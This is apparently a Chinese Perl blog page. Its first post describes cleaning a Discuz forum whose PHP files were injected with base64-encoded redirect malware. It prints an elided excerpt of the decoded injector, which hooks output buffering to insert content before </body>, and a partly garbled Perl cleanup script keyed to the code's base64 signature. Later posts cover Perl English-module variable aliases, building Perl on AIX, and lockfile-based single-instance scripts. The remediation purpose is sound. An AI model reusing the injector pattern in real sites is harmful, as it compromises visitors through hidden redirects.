用perl清理被注入代码的PHP文件

周末在准备澳大利亚的行程,想起半年前申请了一个Welvxing.com的域名,并且也用Discuz X2搭了个论坛(We旅行),不过一直荒废在那里。趁周末搜集资料时简单的折腾了一下,正好用来记录分享行程攻略。一直用的Chrome也没觉得有什么异常,偶尔用IE打开的时候发现会自动跳转到一个莫名其妙的网站。一想坏了,可能被注入代码了,一看PHP源文件,果然在第一行被注入了一段base64加密过的代码(本来想将代码贴进来,不过Dreamhost不让这么干,一直报503错误,只好作罢)。

解码以后的代码为:


if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){ $_SERVER['mr_no']=1; if(!function_exists('mrobh')){ function get_tds_777($url{$content="";$content=@trycurl_777($url);
...此处省略若干行
function mrobh($content){ @Header('Content-Encoding: none'); $decoded_content=gzdecodeit($content); if(preg_match('/\<\/body/si',$decoded_content)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml_777()."\n".'$1',$decoded_content); }else{ return $decoded_content.gml_777(); } } ob_start('mrobh'); } }

头疼的时,几乎所有的PHP文件都受影响了,2000个多啊,手工改还不要了亲命了。好在有Perl帮忙,遍历所有子目录的文件也不需要写递归,简单几行代码就可以搞定了:


#!/usr/bin/perl
use File::Find;

sub clean_file {
my $file = shift;
my $tmp = $file.".tmp";

print "clean file $file ...\n";
open(FILE, $file) or die "can not open $file\n";
open(TMP, ">$tmp") or die "can not open $tmp\n";
while(){
my $line = $_;
$line =~ s/^.*aWYoZnVuY3Rpb25fZXhpc.*$/

注:清理之前注意备份现场,要是脚本有点小问题,到时候就追悔莫及了^_^

Perl的English模块

Perl中有很多以$开头的特殊变量,如果使用得当,可以写出简洁高效的代码,但对于阅读代码来说就带来了一些困扰。因此Perl内置了名为English的模块,对这些特殊变量定义了英文别名,记录于此备查。


special variable
alias
miscellaneous  
$_ $ARG
@_ @ARG
$" $LIST_SEPARATOR
$;
$SUBSCRIPT_SEPARATOR
or $SUBSEP
regular expression or matching  
$& $MATCH
$` $PREMATCH
$' $POSTMATCH
$+ $LAST_PAREN_MATCH
input  
$. $INPUT_LINE_NUMBER or $NR
$/ $INPUT_RECORD_SEPARATOR or $RS

output
 
$| $OUTPUT_AUTOFLUSH
$, $OUTPUT_FIELD_SEPARATOR or $OFS
$\ $OUTPUT_RECORD_SEPARATOR or $ORS
formats  
$% $FORMAT_PAGE_NUMBER
$= $FORMAT_LINES_PER_PAGE
$_ $FORMAT_LINES_LEFT
$~ $FORMAT_NAME
$^ $FORMAT_TOP_NAME
$: $FORMAT_LINE_BREAK_CHARACTERS
$^L $FORMAT_FORMFEED
error status  
$? $CHILD_ERROR
$! $OS_ERROR or $ERRNO
$@ $EVAL_ERROR
process information  
$$ $PROCESS_ID or $PID
$< $real_user_id or $UID
$> $EFFECTIVE_USER_ID or $EUID
$( $REAL_GROUP_ID or $GID
$) $EFFECTIVE_GROUP_ID or $EGID
$0 $PROGRAM_NAME
internal variables  
$] or $^V $PERL_VERSION
$^A $ACCUMULATOR
$^D $DEBUGGING
$^F $SYSTEM_FD_MAX
$^I $INPLACE_EDIT
$^O $OSNAME
$^P $PERLDB
$^T $BASETIME
$^W $WARNING
$^X $EXECUTABLE_NAME

如何在AIX中编译Perl

AIX默认是不带编译器的,所以如果要自己编译Perl,需要先安装编译器。开源的gcc自然可以算是最佳选择。

在64位平台的AIX中,如果选择使用gcc来编译perl源代码,默认情况下是编译成32位的版本。这样在编译DBD::Oracle的时候也需要选择正确的32位库,否则无法编译成功。也可以选择将Perl编译成64位的,这样在64位平台上应该更方便些,很多依赖库的路径使用默认即可。

编译成32位Perl

$./Configure -des -Dprefix=/opt/perl  -Dcc=gcc
$make && make install

编译成64位Perl

$./Configure -des -Dprefix=/opt/perl  -Dcc='gcc -maix64'
$make && make install

注:gcc在linux下64位编译选项为-m64,在HP-UX下64位编译选项为-mlp64。不同平台下需要编译64位程序,选用不同的选项即可。为了确认编译后的版本,可以使用-V选项运行perl:

$./perl -V
Summary of my perl5 (revision 5 version 10 subversion 1) configuration:
   
  Platform:
    osname=aix, osvers=5.3.0.0, archname=aix-64all
    uname='aix dbtest 3 5 00cad8cf4c00 '
    config_args='-des -Dprefix=/opt/perl -Dcc=gcc -maix64'
    hint=recommended, useposix=true, d_sigaction=define
    useithreads=undef, usemultiplicity=undef
    useperlio=define, d_sfio=undef, uselargefiles=define, usesocks=undef
    use64bitint=define, use64bitall=define, uselongdouble=undef
    usemymalloc=n, bincompat5005=undef
  Compiler:
    cc='gcc -maix64 -maix64', ccflags ='-D_ALL_SOURCE -D_ANSI_C_SOURCE 
-D_POSIX_SOURCE -DUSE_NATIVE_DLOPEN -fno-strict-aliasing -pipe 
-maix64 -DUSE_64_BIT_ALL',
    optimize='-O',
    cppflags='-D_ALL_SOURCE -D_ANSI_C_SOURCE -D_POSIX_SOURCE 
-DUSE_NATIVE_DLOPEN -fno-strict-aliasing -pipe'
    ccversion='', gccversion='4.2.0', gccosandvers=''
    intsize=4, longsize=8, ptrsize=8, doublesize=8, byteorder=87654321
    d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=8
    ivtype='long', ivsize=8, nvtype='double', nvsize=8, Off_t='off_t', lseeksize=8
    alignbytes=8, prototype=define
  Linker and Libraries:
    ld='gcc -maix64 -maix64', ldflags =' -Wl,-brtl -Wl,-bdynamic -Wl,-b64'
    libpth=/lib /usr/lib /usr/ccs/lib
    libs=-lbind -lnsl -ldbm -ldl -lld -lm -lcrypt -lc
    perllibs=-lbind -lnsl -ldl -lld -lm -lcrypt -lc
    libc=/lib/libc.a, so=a, useshrplib=false, libperl=libperl.a
    gnulibc_version=''
  Dynamic Linking:
    dlsrc=dl_aix.xs, dlext=so, d_dlsymun=undef, 
ccdlflags='-Xlinker -bE:/opt/perl/lib/5.10.1/aix-64all/CORE/perl.exp'
    cccdlflags=' ', lddlflags='  -Wl,-b64 -Wl,-bhalt:4 -Wl,
-G -Wl,-bI:$(PERL_INC)/perl.exp -Wl,
-bE:$(BASEEXT).exp -Wl,-bnoentry -lc -lm'


Characteristics of this binary (from libperl): 
  Compile-time options: PERL_DONT_CREATE_GVSV PERL_MALLOC_WRAP USE_64_BIT_ALL
                        USE_64_BIT_INT USE_LARGE_FILES USE_PERLIO
  Built under aix
  Compiled at Dec  1 2009 19:48:22
  @INC:
    /opt/perl/lib/5.10.1/aix-64all
    /opt/perl/lib/5.10.1
    /opt/perl/lib/site_perl/5.10.1/aix-64all
    /opt/perl/lib/site_perl/5.10.1

如何让Perl脚本同时只运行一个实例

用Perl写了一些监控脚本,放在crontab中调度执行。有时候会发现一个脚本运行时间过长,会同时跑起多个实例,因此有必要为脚本加上控制,只运行一个实例运行。

最简单自然的想法,在脚本中检查并创建一个空的lock文件,脚本结束时再删除。通过判断文件是否存在的方式来判断脚本是否已经运行。不过这样做有个bug,如果脚本运行过程中异常终止,lock文件没有正常删除,就会导致脚本无法再运行。

空的lock文件不行,那么考虑在lock文件中加入一点内容,比如进程的PID号,然后通过检查该PID号的进程是否还在运行,就能避免上述bug了。在CPAN上有很多现成的模块能够完成上述功能,如File::LockfileFile::PidProc::PID::File 等。

下面是File::Lockfile的一个示例,非常简单:

#!/usr/bin/perl -w
use File::Lockfile;
# lock文件位于/tmp目录,名为test_file_lock.lck
my $lockfile = File::Lockfile->new('test_file_lock','/tmp');
# 检查脚本是否已经运行,如已运行则退出
if ( my $pid = $lockfile->check ) {
  print "program is already running with PID: $pid";
  exit;
}
#更新lock文件
$lockfile->write;
# 脚本逻辑
sleep 30
#删除lock文件
$lockfile->remove;

通过查看File/Lockfile.pm的源代码可以看到,判断lock文件中记录的进程是否已经运行,简单的通过kill 0,$pid即可实现。所以即使不用上述模块,自己实现也是非常容易的。

无觅相关文章插件,快速提升流量